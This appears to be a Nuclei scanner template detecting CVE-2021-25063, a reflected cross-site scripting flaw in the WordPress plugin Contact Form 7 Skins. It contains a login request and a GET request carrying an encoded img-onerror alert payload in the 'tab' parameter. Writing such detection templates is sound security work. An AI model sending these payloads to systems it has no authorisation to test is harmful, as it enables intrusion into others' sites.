41 lines
1.1 KiB
YAML
41 lines
1.1 KiB
YAML
|
id: CVE-2021-25063
|
||
|
|
||
|
info:
|
||
|
name: Contact Form 7 Skins <= 2.5.0 - Reflected Cross-Site Scripting (XSS)
|
||
|
author: dhiyaneshDk
|
||
|
severity: medium
|
||
|
description: The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting
|
||
|
reference: https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb
|
||
|
tags: wordpress,wp-plugin,xss,contactform
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /wp-login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Origin: {{RootURL}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
||
|
|
||
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
||
|
- |
|
||
|
GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%281%29%3E HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
cookie-reuse: true
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- "<img+src+onerror=alert(1)>"
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- text/html
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|